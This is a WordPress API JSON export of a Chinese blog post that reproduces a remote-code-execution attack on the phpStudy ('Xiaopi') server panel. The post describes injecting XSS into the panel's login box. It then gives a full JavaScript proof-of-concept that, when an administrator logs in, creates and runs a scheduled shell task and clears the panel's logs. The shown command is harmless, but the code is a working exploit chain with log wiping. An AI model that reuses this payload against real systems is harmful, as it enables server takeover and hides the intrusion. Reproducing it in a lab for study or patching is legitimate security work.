{"id":160,"date":"2023-02-04T13:17:47","date_gmt":"2023-02-04T05:17:47","guid":{"rendered":"http:\/\/daishen.ltd\/?p=160"},"modified":"2023-02-04T13:18:35","modified_gmt":"2023-02-04T05:18:35","slug":"%e5%b0%8f%e7%9a%ae%e9%9d%a2%e6%9d%bfrce%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/daishen.ltd\/?p=160","title":{"rendered":"\u5c0f\u76ae\u9762\u677fRCE\u590d\u73b0"},"content":{"rendered":"<p><meta charset=\"UTF-8\"><meta name=\"viewport\" content=\"width=device-width initial-scale=1\"><br \/>\n<title>\u5c0f\u76ae\u9762\u677f<\/title><\/p>\n<p>\u767b\u5f55\u6846\u63d2\u5165xss\u4ee3\u7801<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/image.daishen.ltd\/i\/2023\/02\/04\/63dddcab28c47.png\" referrerpolicy=\"no-referrer\" alt=\"image-20230204121851255\"><\/p>\n<p>\u6a21\u62df\u7ba1\u7406\u5458\u767b\u9646\u6210\u529f\uff0cxss\u4ee3\u7801\u88ab\u6267\u884c<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/image.daishen.ltd\/i\/2023\/02\/04\/63dddbdccbe60.png\" referrerpolicy=\"no-referrer\" alt=\"image-20230204121517673\"><\/p>\n<p>\u7136\u540e\uff0c\u6784\u9020\u672c\u5730js  POC\u6587\u4ef6<\/p>\n<pre><code class=\"language-javascript\" lang=\"javascript\">function test1() {\n    $.get('\/service\/app\/tasks.php?type=task_list',{},function(data) {\n            var id = data.data[0].ID;\n            $. post('\/service\/app\/tasks.php?type-exec_task',{\n                    tid:id\n            },function(res){\n                    $.post('\/service\/app\/tasks.php?type=set_task_status', {\n                            task_id: id,\n                            status: 0\n                    },function (res1){\n                            $.post('\/service\/app\/tasks.php?type=set_task_status',{\n                                    task_id: id,\n                                    status: 0\n                            },function (res2){\n                                    $.post(\"\/service\/app\/log.php?type=clearlog\",{\n                                            type:\"clearlog\"\n                                    },function(res3) {},\"json\");\n                            },\"json\");\n                    },\"json\");\n            },\"json\");\n    },\"json\");\n}\n\nfunction save() {\n    var data = new Object(); \n    data.task_id =\n    data.title =\"test\"\n    data.exec_cycle =\"5\";\n    data.week =\"1\" ;\n    data.hour=\"1\";\n    data.minute=\"1\"\n    data.shell=\"echo 1 &gt; D:\/xp.cn\/www\/1.txt\" ;\n    $.post('\/service\/app\/tasks.php?type=save_shell',data, function (res) {\n    test1();\n    },'json');\n}\n    save();\n<\/code><\/pre>\n<p>POC\u6587\u4ef6\u968f\u4fbf\u4e22\u4e00\u4e2aweb\u5bb9\u5668\uff0c\u5199\u5165XSS<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/image.daishen.ltd\/i\/2023\/02\/04\/63dde3be59bdc.png\" referrerpolicy=\"no-referrer\" alt=\"image-20230204124901744\"><\/p>\n<p>\u7136\u540e\u7b49\u5f85\u7ba1\u7406\u5458\u6b63\u5e38\u767b\u5f55\u4f1a\u52a0\u8f7d\u8fdc\u7a0bPOC\u6587\u4ef6\u521b\u5efa\u8ba1\u5212\u4efb\u52a1<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/image.daishen.ltd\/i\/2023\/02\/04\/63dde6a69acaa.png\" referrerpolicy=\"no-referrer\" alt=\"image-20230204130122740\"><\/p>\n<p>\u7b49\u5f85\u4e00\u5206\u949f\uff0c\u547d\u4ee4\u6267\u884c\u6210\u529f<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/image.daishen.ltd\/i\/2023\/02\/04\/63dde90196c5a.png\" referrerpolicy=\"no-referrer\" alt=\"image-20230204131129700\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5c0f\u76ae\u9762\u677f \u767b\u5f55\u6846\u63d2\u5165xss\u4ee3\u7801 \u6a21\u62df\u7ba1\u7406\u5458\u767b\u9646\u6210\u529f\uff0cxss\u4ee3\u7801\u88ab\u6267\u884c \u7136\u540e\uff0c\u6784\u9020\u672c\u5730js POC\u6587\u4ef6 func [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-160","post","type-post","status-publish","format-standard","hentry","category-web"],"_links":{"self":[{"href":"https:\/\/daishen.ltd\/index.php?rest_route=\/wp\/v2\/posts\/160","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/daishen.ltd\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/daishen.ltd\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/daishen.ltd\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/daishen.ltd\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=160"}],"version-history":[{"count":2,"href":"https:\/\/daishen.ltd\/index.php?rest_route=\/wp\/v2\/posts\/160\/revisions"}],"predecessor-version":[{"id":162,"href":"https:\/\/daishen.ltd\/index.php?rest_route=\/wp\/v2\/posts\/160\/revisions\/162"}],"wp:attachment":[{"href":"https:\/\/daishen.ltd\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/daishen.ltd\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=160"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/daishen.ltd\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}